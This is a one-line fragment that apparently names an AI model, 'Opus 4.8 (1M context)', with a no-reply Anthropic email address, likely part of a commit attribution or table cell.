Opus 4.8 (1M context) <noreply@anthropic.com> |